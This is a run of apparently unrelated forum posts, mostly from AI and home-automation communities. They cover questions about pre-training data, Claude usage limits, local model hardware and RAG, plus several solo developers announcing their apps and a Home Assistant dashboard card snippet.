I'm a junior researcher working without supervisor on novel RoPE enhancement architecture that involves pre-training from scratch. I'm thinking of what to do with dataset curation now. I have come up with the domain distribution that involves web, wiki, code and math pre-training data. My question is, should I have multiple datasets per domain, or is it better to use a big dataset per domain, like for example having FineWeb only for web, or splitting web domain between FineWeb and say DCLM. My pre-training budget is gonna be 50B tokens.

Thank you everyone in advance🙏

Red Seal Plumber and Gas Fitter here. Battery thermostats drive me nuts, I've seen dead batteries freeze water/sprinkler lines and flood entire units during Canadian winters. When I moved in and found one on my wall, with a half installed Nest. I knew they had to go.

Old thermostat set-up

Went with a Lennox iComfort E30 communicating thermostat. The display on the wall just handles communication, all the control wiring stays at the Smart Hub at the furnace. Only needed 4 wires to the wall instead of the usual 5-7 for a Nest or Ecobee.

New thermostat

Got it into Home Assistant through the lennox HACS integration running locally. No cloud, no subscription. I am planning on getting Temperature and Humidity sensors in the near future. Any bulletproof options people love that would pair nicely?

The furnace is from 1975 and still going. New one coming this summer and that's when the smart thermostat really opens up with staging and variable fan speed through HA.

Old ass furnace

Wiring diagram

Full disclosure: not affiliated with Lennox. Just a trades guy who does tech stuff on the side and got my hands on one of these thermostats for a good price.

Finished set-up

Anyone else self-hosting their HVAC controls? Curious what setups people are running. I put together a video documenting the process here: https://youtu.be/-U0xa6u9bgI

Depois de vários e vários meses tendo problemas com a IA com:
- Perda de Contextos
- Nunca lembra algo específico no chat

Resolvi desenvolver que eu chamo de "FATIADOR", ele faz a separação do contexto completo por blocos separados.

O Problema era:
Quando enviamos parágrafos gigantes com dúvidas misturadas, pedimos várias coisas diferentes e a IA, acaba se perdendo no meio do caminho.

Solução que encontrei é:
Implementar uma arquitetura chamada de "Double-Call Architecture."

O Motor recebe o texto complexo.
Uma LLM menor faz o trabalho de "Fatiar" a entrada em "contextos" separados e lógicas independentes.
Cada contexto é processado individualmente, garantindo isolamento total de cada resposta.

Payload final temos um retorno dentro `reconciled_blocks` separado por UUID para cada bloco, facilitando o entendimento dos blocos para a IA e melhorando a resolução, caso tenha dúvidas em uma pergunta específica, fica mais fácil da IA entender o que está realmente falando.

Com o "FATIADOR", conseguimos resolver uma questão única sem atrapalhar o chat completo.

Exemplo do payload final:

```json { "uuid": "{UUID_ÚNICO}", "session_id": "{SESSION_ID}", "timestamp": "{TIMESTAMP}", "trace_id": "{TRACE_ID}", "type": "result", "subtype": "success", "duration_ms": 0.0, "duration_api_ms": 0.0, "is_error": false, "num_turns": 1, "result": { "reconciled_blocks": [ {id:(UUID_PERGUNTAS_1_2_3), intent_title:(INTUITO DA PERGUNTA), semantic_tags:(TAGS_DA_PERGUNTA), cerebro_memory_key: (context_id:(UUID_SALVO_MEMORIA), resolution: (RESPOSTAS) }]}, "total_cost_usd": 0.0, "usage": {} } ``` 

Really I expect wild progress for chinese ai.

Hey everyone,

I wanted to share a bit of my situation and hopefully get some guidance from people with more experience in this space.

I don’t come from a strong coding background. The only real experience I have is using RStudio for statistical and data analysis projects during university and also just a few days ago I automated a small part of my job by scraping some info i needed. Recently though, I’ve gotten really interested in AI, especially building automations, SaaS, and small tools (agents, workflows, etc.), both for my job and for personal projects.

The problem is… I’ve been feeling pretty overwhelmed. Every time I go on X (Twitter), I see new tools, new frameworks, new “this is better than that,” and constant GitHub repos popping up. One day it’s one tool, the next day it’s something completely different that’s supposedly “way better.”

At this point, I feel a bit lost trying to figure out what actually matters and what I should focus on.

So my question is:

For someone in my position (beginner/intermediate, limited coding experience), what are the core tools or stack I should focus on to start building useful projects with AI?

How do you avoid getting overwhelmed by all the noise and constant new releases?

I’m not trying to chase every new shiny thing, I just want a solid foundation to start building real & practical projects.

Would really appreciate any advice.

Thank You!

Getting a login error type bug that usually surfaces when it is down.

Please run /login · API Error: 401 {"type":"error","error":{"type":"authentication_error","message":"Invalid authentication

credentials"},"request_id":"req_011CZnpad3nqtk3NN936w16R"}

OAuth error: timeout of 15000ms exceeded

Hi as the title said, I'm corrently considering buy strixhalo laptop
Would it be possible to have opencode or do agentic work with gemma4 26B ?
If you run it could you please share the benchmarks

I went from using this 40 hours a week, to getting pissed off using it for 30.

Something changed, and 90% of our responses are dog shit.

I just gave it an asana task to build a quiz that puts someone in a category, so it needs basic scoring.. after 3 times of it swearing one would work for us, I bought it. In 20 seconds of me asking it "can you do it now?" it responded: "Here's what I found after digging through TQB's internals: TQB can't do this quiz natively."

BEYOND PISSED. It's failing to quality check ANYTHING.

Even the app is getting 90% of stuff wrong.

I had a fitness competition, and when I ask it to check my Heart Rate daily, it never once gets dates right, it's like "Good luck with Hyrox in 5 days", bro 7 days ago you said that exact same thing". I just told you I completed it, WHAT!?

I'm not asking about a locally hosted backend that has a browser-based frontend (e.g., OpenWeb UI, stuff built on top of Ollama, etc.). I'm specifically asking about something built on top of WebGPU (e.g., via transformers.js or WebLLM) so that the inference happens directly in the browser.

I want build with it and wonder if someone here has built on top or seen something built on top so I can find footguns early.

how can I do it?

I have the $100 subscription at work and for personal use. I manage my works account and we were just credited $200 to our Team Plan. Did anyone get something similar for their personal account or is it just for a Team plan?

I'm curious how far it'll actually go in terms of compliance. I mean a cardiologist litertally placed top 3 in a hackathon with an agentic tool so wondering where the ceiling really is in production scenarios.

i wanted to use claude's reasoning on video files without the constant workarounds & juggling to gemini, so i sat down and built using claude to help me build vidclaude.

it's a pypi package that lets you process video content so claude can actually "see" and analyze what's happening.

what it does:

handles frame extraction and optimization.

feeds visual context to claude's multimodal window.

makes video analysis actually usable in a python workflow.

if you've been wanting to talk to your videos using claude, this is for you.

check out here: https://pypi.org/project/vidclaude/

try & report any issues

People are claiming a bird in a submarine is an AI video but I believe it is clearly real since the video is 52 seconds long with only one cut.

Reddit post

Instagram source video

Is there any video generation options that could have made this video?

Purpose: Local RAG (anythingLLM) using local model as fallback. datasource: ~100 books.

I'm starting my due diligence (asking Claude, reddit search), and would appreciate pointers in the right direction 🙏🏻. I'm so new to this, getting a bit overwhelmed at how little I know.

Questions:

• What's the effective RAM available for local models left after OS overhead? Claude says 56GB. Is that correct?
• What's the best models for each RAG step: embedding, retrieval, generation, and eval (test and benchmark harness)? Are there any steps I'm missing?
• Just realizing running multiple models means memory has to be budgeted between them (or deal with page swapping them in/out memory at each step)?
• How to balance going with smaller full model vs larger quantized model (besides benchmarking results)?

There's so many little nuances I didn't know existed.

And on the topic of RAG's:

Any high quality resources to get bootstrapped (tutorials/guides/projects/channels)?

I've been looking into this for a couple nights, and the most important part seems to be eval harness. I've never implemented one and would be nice to have a best practices rulebook.

And yes I know I can (and have) asked Claude, but I don't fully trust it because I don't know, what I don't know. Kind of in decision paralysis mode.

Would appreciate any pointers and more importantly factors I haven't considered to build a robust RAG system.

I currently bachelor of computer science and in my second semester. Im thinking starting a side project or anything that could boost up my resume. I think im a decent student but having a good resume could probably helped me in the future. Currently I only know the basics of C++ and Html,Java script(both i only learned during highschool) . So i would like to hear you guys opinion.

1. What languange should i learn first.
2. 2.What beginner side project that i can do
3. What should i do when i finish my side project
4. Give me advice on my project development

additional advice/opinion would be grateful.

The free, open-sourced community tier (launched mid March) saw 300+ downloads last month with little to no marketing. If you were one of those developers who downloaded (pip install ethicore-engine-guardian), I developed the Ethicore Engine™ API with you in mind! Free tier now includes FULL threat library! For anyone interested in our Multi-layer Threat Intelligence & End-to-End Adversarial Protection Framework, there a now multiple ways to protect your applications; just pick the tier aligned with your deployment scope and compliance requirements. Let's continue to innovate with integrity!

I’m looking to expand my understand of how serious R&D users are doing local or mostly-local research workflows in practice.

I’m especially interested in people doing things like:

* deep research

* long-context analysis

* extraction/synthesis across many sources

* autonomous or semi-autonomous agent workflows

* privacy-sensitive work

A few things I’d love to hear:

1. What hardware are you running?

2. What software stack are you using?

3. Which models are your daily drivers?

4. How do you handle search/retrieval — fully local, Exa, Tavily, Brave, custom tools, MCP, something else?

5. How private is your setup in reality — fully local, hybrid, or selective cloud?

6. What works surprisingly well?

7. What did you try that sounded promising but failed in practice?

8. What are your biggest bottlenecks now — speed, reliability, context, tooling, cost, or setup complexity?

9. Are you using a simple workflow or a more agentic system?

10. If you had to rebuild from scratch, what would you do differently?

I’m less interested in theory and more in real-world “this is what actually works” setups.

Been thinking about this a lot lately. I switched to CuriousCats AI as my main news source a few weeks ago, and honestly, the gap between it and something like Google News or Apple News feels pretty big already.

Like the traditional apps are still basically just aggregators, they pull headlines, show you a feed, and let the algorithm decide what gets your attention. Most of them are still ad-heavy and optimised for time spent, not information quality.

The AI ones feel fundamentally different. You get summaries, context, multiple perspectives on the same story, and in some cases, you can literally ask questions about a story and get background. That is a different product entirely, not just a shinier version of the same thing.

I don't think mainstream users will switch that quickly. A lot of people are still very habitual about their news apps. Google News and Apple News have massive distribution advantages, too, since they come pre-installed on most phones.

So I am curious what people here think. Do you think AI news apps cross the mainstream tipping point within 2 years or does it take longer? And is anyone else already using one as their main source?

If you want to see what I mean, CuriousCats AI is free to try on both iPhone and Android. I would be curious if others have the same experience after trying it.

Quick specs, this is a workstation that was morphed into something LocalLLaMa friendly over time:

• 3950x

• 96GB DDR4 (dual channel, running at 3000mhz)

• w6800 + Rx6800 (48GB of VRAM at ~512GB/s)

• most tests done with ~20k context; kv-cache at q8_0

• llama cpp main branch with ROCM

The model used was the UD_IQ2_M weights from Unsloth which is ~122GB on disk. I have not had success with Q2 levels of quantization since Qwen3-235B - so I was assuming that this test would be a throwaway like all of my recent tests, but it turns out it's REALLY good and somewhat usable.

For Performance: , after allowing it to warm up (like 2-3 minutes of token gen) I'm getting:

• ~11 tokens/second token-gen

• ~43 tokens/second prompt-processing for shorter prompts (I did not record PP speeds on very long agentic workflows to see what caching benefits might look like)

That prompt-processing is a bit under the bar for interactive coding sessions, but for 24/7 agent loops I have it can get a lot done.

For the output quality: It codes incredibly well and is beating Qwen3.5 27B (full), Qwen3.5 122B (Q4), MiniMax M2.5 (Q4) GPT-OSS-120B (full), and Gemma 4 31B (full) in coding and knowledge tasks (I keep a long set of trivia questions that can have different levels of correctness). I can catch hallucinations in the reasoning output (I don't think any Q2 is immune to this) but it quickly steers itself back on course. I had some fun using it without reasoning budget as well - but it cannot correct any hallucinations so I wouldn't advise it to be used without reasoning tokens.

The point of this post: Basically everything Q2 and under I've found to be unusable for the last several months. I wanted to point a few people towards Qwen3.5-397B and recommend giving it a chance. It's suddenly the strongest model my system can run and might be good for you too.

I'm a solo dev in Richmond, TX and I got tired of manually checking RAM prices across different stores every time I wanted to upgrade. So I built RamRadar.

It tracks DDR4 and DDR5 prices in real time across Amazon, Newegg, Best Buy, B&H Photo, Walmart, and eBay. You get historical price charts so you can see if a "deal" is actually a deal or just marketing, all-time low alerts, and a build wizard that matches compatible RAM to your motherboard.

Completely free, no account required, no ads. Built with Next.js, Supabase, and deployed on Vercel.

Some things I learned building it:

• Price scraping at scale is harder than it sounds. Each retailer has different anti-bot measures and data formats. Amazon's Product Advertising API is the cleanest but has strict rate limits.
• The build wizard (matching RAM to motherboard compatibility) required building a database of motherboard specs which I had to enrich with AI because no single source has all the data.
• Keeping 6 data sources in sync and deduplicating the same product across retailers was the most underrated engineering challenge.

I'm a one-man shop (Random Llama Software) so feedback is really valuable. If something's broken or you want a feature, I'm all ears.

https://ramradar.app

Hi guys, this is my first AI-generated music and music video. I hope you like it I’d really appreciate any feedback. I tried to keep the consistency of the plush toys as good as possible.

I finally updated from 0.14 to 0.18 and noticed a dramatic slowdown in operation. It used to take my workflows 1-2 seconds to start KSampling, whereas now it needed about one second for each node leading up to the actual generation, thus introducing a dramatic slowdown.

If you are in the same boat, try launching ComfyUI with the option --disable-dynamic-vram. That fixed it for me.

Hi,

I would like the agent to manage an online marketplace very similar eBay

1. I take 6 photos of a product

2. Photos go into a folder on my Mac

3. AI agent reads the photos, identifies the item, writes the title/description/tags/price

4. Bot automatically posts the listing to marketplace acting like a human (random delays, natural timing)

5. When it sells, bot automatically buys a shipping label and uploads tracking to Depop

6. Agent also monitors my emails for AliExpress/Temu deliveries and notifies me when new stock arrives

If that makes sense and is possible please lmk

Thanks in advance

Cameron

I wrote zero code for this project, its all pure guidance and persistence from 8 years of software experience and 5x subscription. Sure the code can be messy, but functionality and usability is all that matters, end user doesnt care about how the code looks. And personally i dont care how the code looks as im not the one maintaining it, claude is.

The biggest win was claude figuring out how to decompress microsoft's LZX compression algorithm that people have only been able to reach 40%, claude got 100% in half a day of self iteration with parallel worktrees.

Without claude, instead taking less than a month to build, it would have taken me multiple years. The foundation took one evening, then it was few weeks of iterating on features.

Check it out
https://github.com/SpeedHQ/RaceIQ/blob/main/assets/screenshots/README.md

https://github.com/SpeedHQ/RaceIQ

I used to wake up and manually say “good morning” to Claude just to kick things off.

Every. Single. Day.

Then scheduling dropped.

Now Claude sends me a joke at 6am, and my usage window is perfectly aligned with my waking hours. Anyone have a similar routine as me hahahaha

Side note: ever noticed LLMs seem to have a favourite joke? Ask any of them for a joke and there’s a high chance you’ll get something about scientists not trusting atoms… because they make up everything.

I just wanted to try Comfy UI, but when I try using Image to Video (Wan2.2), I keep getting Error "No link found in parent graph for id [129:85] slot [7] cfg" I don't understand what I should connect. Many guides says to use Ctrl+F to locate the node, but Ctrl + F is not working in this version of Comfy UI

Envoy connects great to HA for solar data, but for whatever reason, it doesn't import any historical data even though it's available to the system. Is there a way to do this, or am I missing something with the setup?

Thanks!

With declining birth rates, increasing isolation, and growing loneliness in society, I’m trying to build a platform focused on safety and communication.

After using dating apps on and off for 10 years, I feel like they’ve stopped evolving. Every app looks and feels the same. They just leave you more depressed after each attempt. It feels very difficult to be authentic — you have to present a polished version of yourself that often doesn’t match who you really are. And if you do match with someone, you’re expected to meet within a day without actually getting to know each other. Often you match but never get a reply.

I’ve talked to many people with similar experiences, and after searching online, I’ve realized this is — and has been — a very common phenomenon.

The concept behind ember, is quite simple. You register by having a conversation with ember (AI). After answering a few questions, you review and approve your profile. The questions it's asking about is who you are and who you’re looking for. Your answers is compared with all approved users. Your profile is never publicly visible, meaning you can be exactly who you are. When you match with someone, you receive a short description and an explanation of why you were matched.

There are several safeguards to prevent harmful content or bad behavior, as well as an anti‑ghosting feature that gives you a limited time to respond before the match moves on.

The app is currently waiting for App Store and Google Play review. Fingers crossed it will be out soon.

Feel free to reach out with feedback — it would be greatly appreciated.

Happy Easter! /William

https://preview.redd.it/8q23mn0udltg1.png?width=939&format=png&auto=webp&s=d12c0bd0e730ea491f6a894f1ae76dd32bcb877d

On the Max 20x plan. Weekly limit resets Saturday. It's Monday noon and I'm already at 40% used, 38% on Sonnet.

That's not even the worst part. Extra usage enabled with a monthly cap — already burned 87% of it and it's the 6th.

My whole use case is Claude Code. Long sessions, browser automation, agentic tasks that run for hours. The 20x multiplier sounds like plenty until you do a full day of heavy terminal sessions and watch the percentage move in real time.

Been looking at OpenAI Pro (200 dollars/month). Not for ChatGPT. For Codex CLI — their version of Claude Code, terminal-native, agentic, handles multi-step coding. It launched recently enough that I haven't found many real comparisons yet.

Anyone here actually switched or is running both? Specifically for agentic coding, not just chatting:

- Does Codex CLI hold up for long sessions or fall apart on complex multi-file tasks?

- How does rate limiting on Pro compare?

- Is 200/month worth it if Claude Code is your primary use case anyway?

Not trying to rage-quit Claude. But paying for Max 20x and hitting limits by Monday is a rough spot.

Two things about kids' vocabulary apps drove me to build my own:

Quizzes are useless for real learning. Every vocab app is built around multiple choice. But picking the right word from a list is just pattern matching — it has almost nothing to do with actually understanding a word. The research is consistent: producing language (writing your own sentence) builds far deeper retention than passive recognition. Yet I couldn't find a single kids' app that makes them write sentences.

Most apps ignore the science of memory. There's decades of cognitive research on the forgetting curve — you need to revisit words at increasing intervals for them to stick. My kids would "learn" a word Monday and it was gone by Friday. Every time. Spaced repetition is the proven fix, but most kids' apps treat every word the same: learn once, quiz once, done.

Extra context that shaped the design: I'm a non-native English speaker. My kids are born here and bilingual. Helping them with vocabulary is tricky because I can't always judge if their sentence sounds natural.

So I built Wordie (gowordie.com):

• AI generates short reading passages with vocabulary matched to the child's level
• Kids write their own sentences for each word — no multiple choice anywhere
• I review and leave comments before words advance. This became unexpectedly warm — like passing notes with my kids. "Nice sentence but make it funnier." "Dad, you spelled your comment wrong."
• AI assistant helps me check if sentences use words correctly — built this because I needed it as a non-native speaker, but it's useful for any parent
• Spaced repetition based on actual memory science — struggling words come back sooner, mastered words space out over days and weeks

Why it's free: This is a passion project for my family. No ads, no paid tier, no monetization. I just want to share it with other parents who might have the same frustrations. If it ever grows enough that server costs become a real problem, I'll figure that out then.

Unexpected discovery: The parent review with comments was originally just a correctness gate. It turned into the emotional core of the app. My kids and I pass notes back and forth. It's the feature I didn't plan that ended up mattering most.

Would love feedback from builders and parents.

gowordie.com

About a month after our team started using Claude Code, someone asked in Slack how much we were spending. Nobody knew. We looked around for a monitoring tool, didn't find one we liked, and ended up building our own.

Zeude is a self-hosted dashboard that tracks Claude Code and OpenAI Codex usage in one place. You get per-prompt token and cost breakdowns, a weekly leaderboard (with cohort grouping if your org is big enough to care), and a way to push skills, MCP servers, and hooks to your whole team from the dashboard instead of chasing people on Slack

The big things in v1.0.0:

Windows support. It was macOS/Linux only before. Now the whole team can use it regardless of OS.

Codex integration. A lot of teams use both Claude Code and Codex, and tracking only one of them gives you half the picture on costs. Now both go through the same dashboard.

Per-user skill opt-out. Team skill sync was already there, but it was all-or-nothing. Now individuals can turn off skills they don't want. Turns out not everyone wants every skill pushed to their machine.

Stack is Next.js + Supabase + ClickHouse + OTel Collector. All your data stays on your infra.

We ran it internally for ~6 months before cleaning it up for open source. It's not perfect, but it solved a real problem for us and figured others might be in the same spot.

https://github.com/zep-us/zeude

If you try it out, let me know what breaks.

Hey everyone,

I’m the "car guy" for my family, which means I'm responsible for three different cars with three different maintenance schedules. Between oil changes, tire rotations, and those random "wait, when did I last change the cabin filter?" moments, I was losing track.

I started building a simple tracker in to help me stay on top of it, but it kind of snowballed into a full platform.

What I built to solve my own headaches:

• VIN Decoding: Just drop the VIN and it auto-fills the make/model/displacement (thanks, NHTSA).
• Smart Maintenance Schedules: 13 predefined tasks (oil, brakes, etc.) that track both mileage and time thresholds.
• The "Proof of Value" Link: Generates a unique, public URL you can send to a buyer to show your full service history. It’s basically a digital, owner-verified Carfax.
• NHTSA Recall Sync: It pings the API weekly for your specific VIN and emails you if a safety recall pops up.
• Real Market Data: I have access to Manheim (dealer auction data) and imported 10k+ records to teach the system how to provide real market values and 24-month depreciation curves.
• The "Uber" Test: It calculates your total cost of ownership per month to see if it actually makes sense to keep the car or if you're better off selling it and just using ride-shares.

I also threw in Fuel Logs for MPG tracking and PDF exports for your glovebox. I’ve been using it for my own garage in Northern Virginia, but I’m curious if this is something other "designated family mechanics" would find useful or if I've just gone down a massive dev rabbit hole.

Would love any feedback on the UI/UX or the feature set!

Check it out: https://www.autocaretracker.com

I've been having very mixed success with trying to get my Instinct MI50 to work on my Ubuntu Desktop. I want to use it for llama.cpp inference using ROCm, and running it bare-metal, so not in a container or virtual machine, since I've heard that this card doesn't like it when you try and do that. I tried getting it working in windows, and I did briefly by modifying a driver file, but the prompt processing performance with Vulkan was not great. Currently, the biggest issue I'm facing is that the card only appears in lspci after a properly "cold" boot; for instance, after I leave my PC off overnight. It appears once, and then after rebooting, it is no longer visible, meaning it cant get picked up by ROCm or Vulkan as a device, and I cant use a tool like amdvbflash to dump or re-flash the bios. Even doing a regular 30s power cycle by turning off the PSU and holding the power button doesn't fix it. I have been trying to get this working for a while, and I've got nowhere with figuring out what the problem is.

For some context, these are my specs:

System:

* Motherboard: MSI PRO B760-P WIFI DDR4 (MS-7D98)

* CPU: Intel i5-13400F

* PSU: Corsair RM850e (2023) 850W Gold ATX PSU

* OS: Ubuntu 24.04 (HWE kernel, currently 6.17.0-19-generic) (Dual booted, so I have set Ubuntu to be my primary OS)

* Display GPU: AMD RX 6700 XT at `03:00.0` (gfx1032, working fine)

* Compute GPU: AMD Instinct MI50 32GB at `08:00.0` (gfx906/Vega20, using a custom blower cooler)

* MI50 is behind two PCIe switches (`06:00.0 → 07:00.0 → 08:00.0`), connected via a x4 lane slot (`00:1c.4`) going through the chipset, so it is a 16x physical, 4x electrical slot, not directly connected to the CPU.

* I have tried putting the card in the primary PCIe slot on my motherboard, but I was having the same problem.

* Secure boot is enabled.

* I have above 4g decoding, rebar, sr-iov and everything else that might help this work enabled in my bios.

* When booting up, I notice the VGA debug light on my motherboard flashes before it even gets to the grub menu, so I don't think this is a linux problem, although I may be wrong.

* I can't remember what vBIOS this card is flashed with.

* I'm pretty sure this is a genuine MI50 and not the China-specific model, based on the stickers on the back, but again I may be wrong there, I don't know how to verify.

There was a period of about a week where this was working alright, with only the occasional dropout, but now I have no idea what's wrong with it. Has anyone else had a similar problem with getting this card to appear? Also sorry if this is not the right place to ask for assistance, I just figured there are a few people in this sub who have this card and might be able to help.

Thanks for reading :D

This is an automatic post triggered within 2 minutes of an official Claude system status update.

Incident: Elevated errors on Claude.ai

Check on progress and whether or not the incident has been resolved yet here : https://status.claude.com/incidents/vfjv5x6qkd4j

Also check the Performance Megathread to see what others are reporting : https://www.reddit.com/r/ClaudeAI/comments/1pygdbz/usage_limits_bugs_and_performance_discussion/

Right now im just using my normal workflow at a very low resolution, while it works, there has got to be a more efficient way to do it.

I was using Claude just now (in the web browser), regular use, sent a prompt that was pretty detailed as I needed Claude to analyse a few things. Have been doing this consistently with no issues until now. This time Claude generated a response, but a bit later for whatever reason, the prompt and the response just... vanished and are nowhere to be found.

The upsetting part is that Claude's usage went up by quite a lot (FYI I'm on the Pro Plan) and it hurts to see that the prompt response is no longer available, I wasn't even able to read it fully. I'm unsure if Claude still has context from this prompt and I can proceed with the next prompt with that assumption.

Never happened to me before, a bit disappointed, the prompt was quite detailed and I would have to write it again. Probably grasping at thin air here but is there any other way to retrieve it?

https://github.com/winstonkoh87/Athena-Public

Every time OpenAI pushes a model update, something breaks. Custom instructions stop working. Memory entries get quietly dropped. Conversations you needed last week are suddenly unfindable.

And if you switch to Claude or Gemini? You start from absolute zero.

I spent the last year building something to fix this. It's called Athena — an open-source memory and reasoning layer that sits on your local machine and works across any model.

The idea is simple: your memory shouldn't live on someone else's server. It should be Markdown files on your disk that you own, version-control with git, and point at whatever model you want.

What it actually does:

• Persistent memory across models. Claude today, Gemini tomorrow, GPT next week. The memory stays. The model is just whoever's on shift.
• Scales to the task. Quick chat? ~2K tokens of context. Complex analysis? /ultrastart loads ~20K tokens of structured protocols, decision frameworks, and session history. 80-98% of your context window stays free.
• Compounding intelligence. Session 500 recalls patterns from session 5. Platform memory decays; files on your disk don't. The AI doesn't get smarter — your data does.
• Full transparency. Every memory is a readable .md file. No black box. No "why did it forget that?" — go look at the file.

What it's NOT:

• Not a chatbot. Not a SaaS. Not another wrapper.
• It's a workspace you open in an AI-enabled IDE (Cursor, Antigravity, VS Code + Copilot, Claude Code, etc.)
• You clone it, type /start in the AI chat panel, and go. No API keys. No database setup. The folder is the product.

Some real examples of what people have done with it:

• A non-developer parent went from "help me organise my mornings" to a fully automated life management system in 72 hours — Telegram reminders, health tracking from blood test screenshots, gamified habit dashboard — without writing a line of code.
• Someone used it for structured self-therapy (IFS methodology) across 40 sessions. Session 38 referenced the exact wound identified in session 3. A therapist charges $200/hr; this cost $20/mo.
• A user facing a career relocation decision got a recommendation weighted by their last 3 career decisions, their spouse's documented anxiety patterns, and their financial runway. No generic LLM could produce that — it requires your data.

The thesis: A generic LLM gives the internet's statistically average answer — correct on average, across all humans. With enough context about you, the same model gives a fundamentally different (and better) answer. The memory is the product.

It's MIT licensed, free forever, and works with whatever AI subscription you're already paying for.

If anyone wants to try it: clone the repo, open it in your IDE, type /start. There's a /tutorial that walks you through everything in ~20 minutes.

Happy to answer questions.

https://preview.redd.it/2q09ski9cltg1.png?width=579&format=png&auto=webp&s=22bb0f4bf96b2f3b332ed3b8536acd1230f89e64

over the past week, i've been checking my usage before i start doing anything with Claude. i'm seeing my usage bar always starts above 10% ... wtf.

does anyone else get this?

model: google/gemma-4-26b-a4b from lmstudio (running via lms)

Every time I look at hardware I think about how hardware will be cheaper and better in six months. Every time I look into customizing a workflow I think “yeah or just wait until next release.”

https://preview.redd.it/fxv6mqnnmltg1.png?width=497&format=png&auto=webp&s=9671f51e0ae317724215f7f1e6fabbceefa8a529

https://youtube.com/shorts/9maUm0h62pg

Carbon dioxide

type: custom:mushroom-template-card entity: sensor.kohlendioxid_wohnung secondary: "{{ states('sensor.kohlendioxid_wohnung')| int }} ppm" icon: mdi:molecule-co2 icon_color: |- {% set CO2 = states('sensor.kohlendioxid_wohnung') | float %} {% if CO2 < 1000 %} {{ '#32CD32' }} {% elif CO2 < 2000 %} {{ '#FF7F00' }} {% else %} {{ '#FF0000' }} {% endif %} tap_action: action: perform-action perform_action: input_boolean.toggle target: entity_id: input_boolean.kohlendioxid_in_dashboard_anzeigen data: {} primary: Luftqualität multiline_secondary: false hold_action: action: more-info 

hey guys

I recently saw a lot about artificial intelligence on the internet and I started thinking, "What if someone created a singularity at home?" Would it one day escape and take over the world? I'd love to see this sub's opinion on that.

The Situation:-

I have built a complex reasoning layer architecture that sits on top of the LLM. It's topic agnostic (can be integrated into domains) and LLM neutral. It's 1.2k lines of system layers and protocols. Plus, I've built a preference stack which says how an LLM has to structure its answer for my queries.

The problem (with Claude):-

I want this to be loaded before every message Claude sends in each chat session. So I either load these two MD files with a loader prompt at the beginning of each session or dump them in the custom instructions section of a project (this is too big to save in global memory).

As you can understand by now, it is bloated. Consumes a lot of tokens. Plus, Anthropic's token burner bug is still not squashed. I'm seeking solutions from the community as to how to solve this problem. Claude says either I dump it in custom instructions (as it gets loaded for every reply Claude gives) or load it at the beginning of each new session. Neither will solve the tokenomics issue.

Solutions thought of:-

1. Splitting the architecture into different MD files and using just the fast path rule for most of the questions. But decision making comes to me to understand which parts of the architecture to load for my query. And, friction that would arise if Claude or any LLM thinks the answer requires a particular part of the architecture that I haven't loaded, which would make it give incorrect answers.

2. I've asked Claude if I should split it into skills and have a routing logic for each skill. But it still says the custom instructions section is the most reliable and just deal with the token consumption.

Present Scenario:-

I've had no other choice but to integrate my reasoning layer rules and preference stack rules into one custom instructions set and pasted it there for now.

He publicado una app para Windows llamada PCChangeTracker.

La hice para un problema muy concreto: cuando el PC empieza a fallar o a comportarse distinto, muchas veces no sabes qué cambió justo antes. La idea de la app es ayudarte a ver cambios recientes del sistema para no investigar a ciegas.

No intenta reparar automáticamente ni adivinar la causa exacta. Intenta reducir el caos inicial y orientarte mejor.

La he dejado gratis porque ahora mismo me interesa validar si el enfoque aporta algo real o no.

Si alguien quiere probarla, me interesa especialmente saber:

1. si se entiende rápido qué hace

2. si parece realmente útil o solo curioso

3. qué tendría que mejorar para que mereciera la pena usarla de verdad

Link:

https://github.com/Javieric26/PCChangeTracker-Free/releases/latest

I've been building mctx (mctx.ai) for a while now — it's a hosting platform for Apps for AI. Developers connect their GitHub repo, set a price, deploy. Hosting, auth, payments, and one-click publishing to the MCP ecosystem are handled. Developers earn 80%, we keep 20% and handle the rest.

I believe MCP is going to change who gets to compete in the software market. When people interact with AI directly instead of through traditional UIs, a solo developer with a great MCP server can go head-to-head with enterprise tools. That's the future I'm building for.

To make it easy to try, I made all of my own Apps free — Notes, Todos, Bible Study, Hidden Empire (a text adventure based on Zork), and a few others. When you sign up, you're automatically subscribed to a handful of them so you can see how it works immediately.

If you have an MCP server on GitHub and want to monetize it without setting up hosting and payments yourself, I'd love to have you try it. And if you just want to use the free Apps, that's cool too.

Site: mctx.ai

Happy to answer any questions about how it works, the tech stack, or why I think Apps for AI are the future.

I've been an airbnb host 10 years. 200+ five-star reviews. One night a family arrived to an uncleaned unit because I forgot to update my Google Sheet after approving an early check-in. Full refund, emergency clean, the whole nightmare.

The problem wasn't my cleaner — she's amazing. The problem was me being the manual relay between my booking calendar and her schedule. Every new booking, every date change, every cancellation — I had to remember to text her and update the spreadsheet. And one time I didn't.

I looked at some of the other big companies that offer cleaning coordination tools. They all looked too complex, had so many property management features I didn't need, or they had a marketplace of cleaners you don't know. Nothing simple existed for hosts who just want to use their existing cleaners and automate notifications for upcoming cleans, and for them to mark cleans as complete so the owner or manager gets notified.

So I built it. And I thought, if I'm going to make it for myself, why not just make it so other people can use it too. It connects to your Airbnb/VRBO calendars, figures out the clean windows, and notifies your cleaner by email or SMS. Your cleaner can subscribe to a calendar feed that shows only their exact clean schedule, not the bookings on either side. I've been head's down drinking loads of coffee and building features, and can add all sorts of stuff if hosts tell me what they need.

I'm not a company looking for free advertising on Reddit, I'm just a guy from Vancouver, BC who needs somebody to tell me if I was insane to do this, or if it actually is working for other people as well as it's working for me. I need real hosts to try it and tell me honestly what's broken or missing.

I'm giving free accounts to anyone who'll actually use it and give me honest feedback. Not a trial — a free property on it, for life. DM me or comment and I'll send you a promo code.

Site: gleamsync.com

Thanks all, Mark

I run a small dev team and got tired of choosing between bloated PM suites and super basic task boards.

Zoho felt like too much. Trello felt like too little. A lot of tools are either basically a list with cards, or a full agile system that comes with way more setup and process than a small team wants.

What I wanted was something closer to Pivotal Tracker: lightweight, structured, and actually usable for real software projects.

So I built it (with a team). Orvezo (www.orvezo.com)

It has a backlog, sprint planning, and a clean board that supports actual workflows and real projects. It is not just a one-page task app, but it also does not come with a bunch of configuration overhead before you can get your team moving. It also has best-in-class reporting.

My own team has been using it to build the product itself, so this is not a raw MVP I hacked together last week. It has already been tested in real use. I also have some initial feedback from other users.

Now I’m looking for 2-3 small dev teams, ideally 2-5 people, who are open to trying it for a couple of weeks and giving honest feedback on what feels good, what is missing, and what breaks their flow.

This is not just “sign up and good luck.” I want to work closely with a few teams, support you directly, and treat this like an actual partnership. For teams that are a good fit and give real feedback, I’m happy to offer the top tier free for an extended period while we work together.

